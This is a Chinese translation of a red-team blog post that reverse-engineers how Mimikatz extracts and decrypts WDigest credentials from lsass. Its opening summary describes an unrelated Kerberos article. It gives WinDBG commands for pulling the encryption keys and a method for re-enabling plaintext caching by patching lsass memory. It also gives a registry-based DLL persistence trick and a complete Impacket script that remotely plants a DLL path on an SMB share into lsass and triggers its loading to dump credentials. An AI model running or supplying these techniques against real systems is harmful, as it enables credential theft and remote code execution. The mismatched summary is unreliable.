导语:这篇文章将给出一些我们正在滥用Kerberos的详细背景和具体的问题是什么,如何轻松地列举出不需要预身份认证的账户,如何在这些情况下提取可破解的哈希,以及最后如何有效地破解这些检索到的哈希。
自从 Mimikatz 出现以来,我们很多人已经对这个工具进行过封装,也尝试过注入,或者是使用 powershell 实现类似的功能。现在我们决定给这个工具添加一个内存 dump 的功能,无论我们如何封装使用 Mimikatz,它仍然是 Windows 系统中从 lsass 进程中提取凭证的首选工具。 当然,这是因为微软引入的每一个新的安全措施,GentilKiwi 总会有对应的“诡计”。 如果你曾经看过 Mimikatz 所付出的努力,你会觉得那绝非易事,因为它支持所有的 Windows x86和 x64版本(最近还增加了支持 ARM 上 Windows 的功能)。 当然,随着 Mimikatz 多年来的成功,BlueTeam 现在已经非常熟练地发现了它在多种场景中的用途。 基本上,如果在有任何成熟的安全防御措施的主机上执行 Mimikatz,可能会被拦截。
通过我曾经的许多线上和线下的交流对话,人们现在可能已经知道我对 RedTeam 的看法,他们理解他们的工具不仅仅是在执行一个脚本。 安全供应商防御并监控常见绕过技巧的攻击面,通常比我们发现新的攻击方法更快,随着这种趋势的发展,作为渗透测试人员,了解特定技术的工作原理到 API 的调用可以让你在受到良好保护的环境中规避安全检测方面提供很多好处。
尽管如此,Mimikatz 依旧是一个以这样或那样的形式与大多数后漏洞利用工具包一起携带的优秀工具。 虽然一些安全供应商正在监视攻击工具与 lass 进程的交互,但更多的供应商已经决定尝试识别 Mimikatz 本身。
我一直在考虑在某些渗透测试场景(主要是那些不可行或不允许内存转储的场景)中去掉 Mimikatz,但这个想法一直困扰着我。我花了很长时间使用某个工具,但很少对这个工具进行更深入更底层的研究。
所以通过发表一些博客文章,我想改变这一点,探索 Mimikatz 的一些魔力,从它开始的地方开始…。首先是WDigest,具体来说,我要看看实际上在 lass 进程中缓存纯文本凭证的细节,以及如何使用"sekurlsa::WDigest"从内存中提取凭证。 这将意味着需要一些反汇编和调试的工作,但希望到最后你会看到,为什么我们很难复制作者已经投入到 Mimikatz 中的大量努力。如果你的目标是只使用一小部分可用的功能,可能对你来说,值得去设计一个基于Mimikatz 源代码的自定义工具,而不是选择使用 Mimikatz 的完整功能。
为了完成这篇文章,我还将探索在 lass 进程中加载任意 DLL 的其他方法,希望这些方法可以与演示的代码示例相结合。
注意: 本文中大量使用了 Mimikatz 的源代码以及开发人员花费的无数时间。 这种努力理应变得更加明显,因为你会看到在浏览代码时突然暴露的无文档结构。 感谢 Mimikatz,Benjamin Delpy 和 Vincent Le Toux 出色的研究工作。
"sekurlsa: : WDigest"工作原理解析
正如前面提到的,在这篇文章中我们要深入研究的是 WDigest,它可以说是 Mimikatz 最著名的功能之一。 WDigest 凭证缓存在默认情况下是启用的,直到 Windows Server 2008 R2之后才禁用了纯文本凭证的缓存。
在逆向操作系统组件时,我通常喜欢附加一个调试器,并检查该组件在运行时如何与操作系统进行交互。 不幸的是,在这种情况下,不能像把 WinDBG 连接到 lass 进程那么简单,因为很快你就会看到 Windows 会在警告你系统即将重启之前停止运行。 相反,我们必须附加到内核并从 Ring-0 切换到 lsass 进程。 如果你以前从来没有尝试把 WinDBG 连接到内核上,可以点击这里查看我之前写的一篇文章,主题是关于如何设置一个内核调试器。
附加了内核调试器后,我们需要获取 lass 进程的 EPROCESS 地址,可以通过执行 !process 0 0 lsass.exe 命令找到该地址:
通过识别 EPROCESS 地址(上面的 ffff9d01325a7080) ,我们可以发出请求,将调试会话切换到 lass 进程的上下文中:
执行一个简单的 lm 命令就可以显示我们现在可以访问到的 WDigest DLL 内存空间:
如果此时你发现符号没有被正确处理,执行 .reload /user 通常会有帮助。
附加了调试器之后,我们就可以继续深入研究 WDigest。
深入 WDigest.dll (以及部分 lsasrv.dll)
如果我们查看 Mimikatz 的源代码,我们可以看到在内存中识别凭证的过程是通过扫描签名实现的。 让我们抓住这个机会来使用一个目前很流行的工具, Ghidra,看看 Mimikatz 在内存中寻找什么。
由于我目前正在研究 Windows 10 x64,所以,我将关注如下图所示的 PTRN_WIN6_PasswdSet 签名:
在向 Ghidra 提供了这个搜索的签名之后,我们搞清楚了Mimikatz 扫描内存的目的:
以上是函数 LogSessHandlerPasswdSet 的代码。 特别要注意的是签名引用超出了 l_LogSessList 指针。 这个指针是从 WDigest 中提取凭证的关键,但是在我们开始之前,让我们先回过头来,通过检查交叉引用找出究竟是什么在调用这个函数,之后,我们分析到了这里:
在这里我们可以看到 SpAcceptCredentials 函数,它是一个从 WDigest.dll 中导出的函数,但是这个函数是做什么的呢?
看起来很有希望,因为我们可以看到凭证是通过这个回调函数传递的。 让我们确认一下我们是否分析对了函数。 在 WinDBG 中,我们可以使用 bp WDigest!SpAcceptCredentials 添加一个断点,然后在 Windows 上使用 runas 命令生成一个 shell:
通过执行 runas 应该足以触发断点。 检查调用的参数,我们就可以看到凭证被传递到了这个函数中:
如果我们继续执行并在 WDigest 上添加另一个断点 WDigest!LogSessHandlerPasswdSet,我们就会发现虽然我们的用户名传入了函数,但是无法看到表示我们的密码的参数。 然而,如果我们在调用 LogSessHandlerPasswdSet 之前检查一下,我们就会发现:
这实际上是一个用于 Control Flow Guard 的存根(Ghidra 9.0.3 对显示 CFG 存根有所改进) ,但是下面的调试器告诉我们这个调用实际上是对 LsaProtectMemory 的调用:
这在我的预料之中,因为我们已经知道凭证存储在内存中并进行了加密。 不幸的是 LsaProtectMemory 没有暴露在 lass 进程之外,所以我们需要知道如何重新创建它的功能来解密提取的凭证。 下面的反汇编程序显示了这个调用实际上只是一个 LsaEncryptMemory 的包装器:
实际上, LsaEncryptMemory 只是对 BCryptEncrypt 调用的包装:
有趣的是,加密和解密函数是根据所提供的要加密的数据的长度来选择的。 如果提供的缓冲区长度可以被8整除(由上图中的"param_2 & 7"的位操作执行) ,则使用 AES。 反之,则使用3Des。
所以我们现在知道我们的密码是用 BCryptEncrypt 函数加密的,但是密钥在哪里呢? 如果我们继续看上面的代码,我们实际上可以看到 lsasrv!h3DesKey 和 lsasrv!hAesKey。 跟踪对这些地址的引用可以看到 lsasrv!LsaInitializeProtectedMemory 为每个地址分配了一个初始值。 具体来说,就是每个密钥都是基于对 BCryptGenRandom 的调用生成的:
这意味着 lass 进程每次启动时都会随机生成一个新密钥,在解密任何缓存的 WDigest 凭证之前必须提取这个密钥。
回到 Mimikatz 的源代码来确认我们的理解没有偏离轨道太远,我们可以看到这里确实有一个 LsaInitializeProtectedMemory 函数,再一次为不同的 Windows 版本和架构提供了一个完整的签名列表:
如果我们在 Ghidra 内部寻找这个函数,我们会发现它把我们带到了下图所示的地方:
这里我们看到有一个对 hAesKey 地址的引用。 因此,与上面的签名搜索类似,在这里Mimikatz 正在寻找内存中的密钥。
接下来我们需要了解 Mimikatz 是如何从内存中提取出密钥的。 为此,我们需要引用 Mimikatz 中的 kuhl_m_sekurlsa_nt6_acquireKey,它强调了 Mimikatz 在支持不同的操作系统版本方面的长度。 可以看到,hAesKey 和 h3DesKey (数据类型是从 BCryptGenerateSymmetricKey 函数返回的 BCRYPT_KEY_HANDLE)实际上指向了内存中的一个结构体,组成该结构体的字段包括生成的对称 AES 和 3DES 密钥。 这个结构体可以在 Mimikatz 中找到:
typedef struct _KIWI_BCRYPT_HANDLE_KEY { ULONG size; ULONG tag;// 'UUUR' PVOID hAlgorithm; PKIWI_BCRYPT_KEY key; PVOID unk0; } KIWI_BCRYPT_HANDLE_KEY, *PKIWI_BCRYPT_HANDLE_KEY;
通过检查上面引用的"UUUR"标签,我们可以将其与 WinDBG 关联起来,以确保我们没有偏离正确的研究轨道:
在 0x10 偏移处,我们可以看到 Mimikatz 引用了 PKIWI_BCRYPT_KEY,该结构体定义如下:
typedef struct _KIWI_BCRYPT_KEY81 { ULONG size; ULONG tag;// 'MSSK' ULONG type; ULONG unk0; ULONG unk1; ULONG unk2; ULONG unk3; ULONG unk4; PVOID unk5;// before, align in x64 ULONG unk6; ULONG unk7; ULONG unk8; ULONG unk9; KIWI_HARD_KEY hardkey; } KIWI_BCRYPT_KEY81, *PKIWI_BCRYPT_KEY81;
毫无疑问,下图显示的 WinDBG 输出信息,说明这是对同一个标签的引用:
这个结构体的最后一个成员是对 Mimikatz 命名为 KIWI_HARD_KEY 的引用,这个结构体的定义如下:
typedef struct _KIWI_HARD_KEY { ULONG cbSecret; BYTE data[ANYSIZE_ARRAY]; // etc... } KIWI_HARD_KEY, *PKIWI_HARD_KEY;
这个结构体由 cbSecret 和 data 字段组成,cbSecret 代表了密钥的大小,data 字段是实际的密钥。 这意味着我们可以使用 WinDBG 来提取这个密钥:
现在我们就得到了 h3DesKey,长度为0x18字节,由 b9 a8 b6 10 ee 85 f3 4f d3 cb 50 a6 a4 88 dc 6e ee b3 88 68 32 9a ec 5a 组成。
知道了这一点,我们就可以遵循同样的过程来提取 hAesKey:
现在我们知道了密钥是如何提取的,接下来需要寻找 WDigest 缓存的实际凭证。 让我们回到前面讨论过的 l_LogSessList 指针。 该字段对应于一个链接列表,我们可以使用 WinDBG 命令遍历该列表 !list -x "dq @$extret" poi(WDigest!l_LogSessList) :
这些内容的结构体包含了以下字段:
typedef struct _KIWI_WDigest_LIST_ENTRY { struct _KIWI_WDigest_LIST_ENTRY *Flink; struct _KIWI_WDigest_LIST_ENTRY *Blink; ULONGUsageCount; struct _KIWI_WDigest_LIST_ENTRY *This; LUID LocallyUniqueIdentifier; } KIWI_WDigest_LIST_ENTRY, *PKIWI_WDigest_LIST_ENTRY;
在这个结构体之后是三个 LSA_UNICODE_STRING 字段,位于以下偏移量处:
· 0x30-用户名
· 0x40-主机名
· 0x50-加密的密码
同样,我们可以使用以下命令来检查我们是否在 WinDBG 的正确路径上:
!list -x "dS @$extret+0x30" poi(WDigest!l_LogSessList)
这会将缓存的用户名转储为下面的输出:
最后,我们可以使用类似的命令转储加密的密码:
!list -x "db poi(@$extret+0x58)" poi(WDigest!l_LogSessList)
现在我们得到了从内存中提取 WDigest 凭证所需的所有数据。
既然我们已经掌握了提取和解密过程所需的所有信息,那么将这些信息组合成一个 Mimikatz 以外的小型独立工具又有多大的可行性呢? 为了探索这一点,我创建了一个得到了很多评论的 POC,可以在这里找到。在 Windows 10 x64(build 1809)上执行时,这个工具会提供与提取凭证过程有关的详细信息:
这绝不应该被认为是安全的 OpSec,但是它有希望提供一个能够说明我们如何制作替代工具的示例。
现在我们了解了如何获取和解密 WDigest 缓存的凭证,接下来我们可以转移到影响纯文本凭证集合的另一个地方——“UseLogonCredential"。
分析 UseLogonCredential
正如我们所知道的那样,随着很多攻击者在渗透测试中到处转储明文凭证,因此,微软决定在默认情况下,禁用对这个遗留协议的支持。 当然,可能会有一些用户正在使用 WDigest,所以为了提供重新启用它的选项,微软设置了一个指向HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest\UseLogonCredential的注册表键。 把这个从0切换到1就可以强制 WDigest 重新开始缓存凭证,这当然意味着攻击者又回到了之前的游戏当中… … 然而这里有一个陷阱,切换这个设置需要重启操作系统。我还没有遇到某个客户允许在测试环境之外进行这个操作。
在这里,一个显而易见的问题是… 为什么需要重新启动机器才能生效?.
正如 GentilKiwi 所指出的那样,要使这个更改生效,可以不需要重新启动。 在本节的最后,我添加了一个关于为什么这样做的说明。
让我们再来看一下 SpAcceptCredentials,经过一段时间的搜寻和分析,我们发现:
这里我们可以清楚地看到这里使用全局变量检查了两个条件。 如果 g_IsCredGuardEnabled 设置为1,或者 g_fParameter_UseLogonCredential 设置为0,我们发现执行的代码路径是调用 LogSessHandlerNoPasswordInsert 而不是上面的 LogSessHandlerPasswdSet。 顾名思义,这个函数缓存的是会话而不是密码,导致我们在 Windows 2012+ 机器上抓密码时经常遇到的抓不到的情况。 因此,我们可以合理地假设这个变量是由上面的注册表键值根据它的名称来控制的,我们通过跟踪它的赋值来发现下面的代码逻辑:
通过理解在 WDigest.dll 中控制凭证缓存的这些变量,我们可以在不更新注册表的情况下突破它吗? 如果我们在运行时使用调试器更新g_fParameter_UseLogonCredential 参数会怎样?
在恢复执行时,我们看到系统再次存储了缓存的凭证:
当然,当你有了一个连接了内核调试器的时候,大多数事情都是可以做的,但是如果你有一种不触发 AV 或EDR 来操作 lass 进程内存的方法(参见我们之前写的 Cylance 博客文章中的一个例子来说明你该怎么做) ,那么没有什么可以阻止你制作一个工具来操作这个变量。 我再次创建了一个输出的信息非常详细的工具来演示如何实现这一点,可以在这里找到。
在这个例子中将搜索并更新内存中的 g_fParameter_UseLogonCredential 变量的值。 如果你对受到 Credential Guard 保护的系统进行操作,那么更新该值所需的修改操作是非常简单的,在此不做演示,留给读者作为练习。
执行 POC 后,我们发现 WDigest 现在已经被重新启用,且无需设置注册表键值,允许我们在凭证被缓存时进行提取:
同样,不应将此 POC 视为安全的 OpSec,而应将其用作详细说明如何构建自己的 POC 的示例。
当然,这种启用 WDigest 的方法也存在一定的风险,主要是在 lass 进程中调用 WriteProcessMemory,但是如果是在适合的环境中,它会提供一种很好的方式来启用 WDigest,而不需要设置注册表的键值。 此外,还有其他一些获取纯文本凭证的方法,这些方法可能更适合 WDigest 之外的目标(memssp 就是其中之一,我们将在下一篇文章中探讨)。
正如 GentilKiwi 所指出的,UseLogonCredential 生效不需要重新启动… … 所以继续回到我们要使用的反汇编程序。
查看引用注册表键值的其他位置,我们发现 WDigest!DigestWatchParamKey 监控了多个注册表键,包括:
在更新时用来触发这个函数执行的 Win32 API 是 RegNotifyKeyChangeValue:
如果我们在 WinDBG 中为 WDigest!DigestWatchParamKey 添加一个断点,那么当我们尝试添加一个 UseLogonCredential 时,我们看到了如下输出:
加载一个任意的 DLL 到 LSASS 进程中
在使用反汇编程序进行深入研究时,我希望找到一种替代方法,可以在避免 HOOK Win32 API 调用的同时,将代码加载到 lsass 进程中,或者加载一个 SSP。 在进行了一些反汇编之后,我在 lsasrv.dll 中看到了以下代码:
对用户提供的值调用 LoadLibraryExW 的代码可以在函数 LsapLoadLsaDbExtensionDll 中找到,在这种情况下,我们可以编写一个 DLL 加载到 lsass 进程中,例如:
BOOL APIENTRY DllMain( HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: // Insert l33t payload here break; } // Important to avoid BSOD return FALSE; }
需要注意的是,在 DllMain 函数的末尾,我们返回 FALSE 以迫使 LoadLibraryEx 出现错误。 这是为了避免对 GetProcAddress 的后续调用。 如果不这样做,将导致在重新启动的过程中出现 BSOD,直到 DLL 或注册表项被删除。
构造好我们自己的 DLL 之后,我们需要做的就是创建上面的注册表项:
New-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Services\NTDS -Name LsaDbExtPt -Value "C:\xpnsec.dll"
加载 DLL 将在系统重新启动时发生,这使得这种加载方式成为了一种潜在的持久性技术,可用于特权提升,并将你的有效载荷直接写入 lsass 进程的内存中 (当然,只要 PPL 没有启用)。
远程加载任意 DLL 到 LSASS 进程中
在进一步探索之后,我在 samsrv.dll 中发现了与上面类似的向量。 同样,一个可控的注册表键值通过调用 LoadLibraryEx 将 DLL 加载到 lsass 进程中:
同样,我们可以通过添加注册表项和重新启动来利用这一点,但是在这种情况下,触发过程要简单得多,因为我们可以使用 SAMR RPC 调用进行触发。
让我们通过使用上面的提取 WDigest 凭证的代码来构造一个 DLL,并为我们转储凭证。
要加载我们的 DLL,我们可以使用一个非常简单的 Impacket Python 脚本来修改注册表,并向
HKLM\SYSTEM\CurrentControlSet\Services\NTDS\DirectoryServiceExtPt
添加一个注册表键,指向一个放在 SMB 共享上的 DLL 文件,然后通过 hSamConnect RPC 调用触发对 DLL 的加载。 代码如下:
from impacket.dcerpc.v5 import transport, rrp, scmr, rpcrt, samr from impacket.smbconnection import SMBConnection def trigger_samr(remoteHost, username, password): print("[*] Connecting to SAMR RPC service") try: rpctransport = transport.SMBTransport(remoteHost, 445, r'\samr', username, password, "", "", "", "") dce = rpctransport.get_dce_rpc() dce.connect() dce.bind(samr.MSRPC_UUID_SAMR) except (Exception) as e: print("[x] Error binding to SAMR: %s" % e) return print("[*] Connection established, triggering SamrConnect to force load the added DLL") # Trigger samr.hSamrConnect(dce) print("[*] Triggered, DLL should have been executed...") def start(remoteName, remoteHost, username, password, dllPath): winreg_bind = r'ncacn_np:445[\pipe\winreg]' hRootKey = None subkey = None rrpclient = None print("[*] Connecting to remote registry") try: rpctransport = transport.SMBTransport(remoteHost, 445, r'\winreg', username, password, "", "", "", "") except (Exception) as e: print("[x] Error establishing SMB connection: %s" % e) return try: # Set up winreg RPC rrpclient = rpctransport.get_dce_rpc() rrpclient.connect() rrpclient.bind(rrp.MSRPC_UUID_RRP) except (Exception) as e: print("[x] Error binding to remote registry: %s" % e) return print("[*] Connection established") print("[*] Adding new value to SYSTEM\\CurrentControlSet\\Services\\NTDS\\DirectoryServiceExtPtr") try: # Add a new registry key ans = rrp.hOpenLocalMachine(rrpclient) hRootKey = ans['phKey'] subkey = rrp.hBaseRegOpenKey(rrpclient, hRootKey, "SYSTEM\\CurrentControlSet\\Services\\NTDS") rrp.hBaseRegSetValue(rrpclient, subkey["phkResult"], "DirectoryServiceExtPt", 1, dllPath) except (Exception) as e: print("[x] Error communicating with remote registry: %s" % e) return print("[*] Registry value created, DLL will be loaded from %s" % (dllPath)) trigger_samr(remoteHost, username, password) print("[*] Removing registry entry") try: rrp.hBaseRegDeleteValue(rrpclient, subkey["phkResult"], "DirectoryServiceExtPt") except (Exception) as e: print("[x] Error deleting from remote registry: %s" % e) return print("[*] All done") print("LSASS DirectoryServiceExtPt POC\n @_xpn_\n") start("192.168.0.111", "192.168.0.111", "test", "wibble", "\\\\opensharehost\\ntds\\legit.dll")
实际上,从下面的演示视频中我们可以看到凭证的确是从内存中提取出来的:
若视频无法观看,请点击这里。
在这里可以找到这个 DLL 的代码,代码中对前面的示例做了一些修改。
最后,希望这篇文章能够让你了解 WDigest 凭证缓存的工作原理,以及 Mimikatz 是如何在"sekurlsa::WDigest"过程中获取并解密密码的。 更重要的是,我希望这篇文章能够帮助任何人为他们的下一次安全评估工作定制一些自己的工具。 我将继续研究在攻防活动过程中经常遇到的其他领域,如果你有任何问题或建议,请告诉我。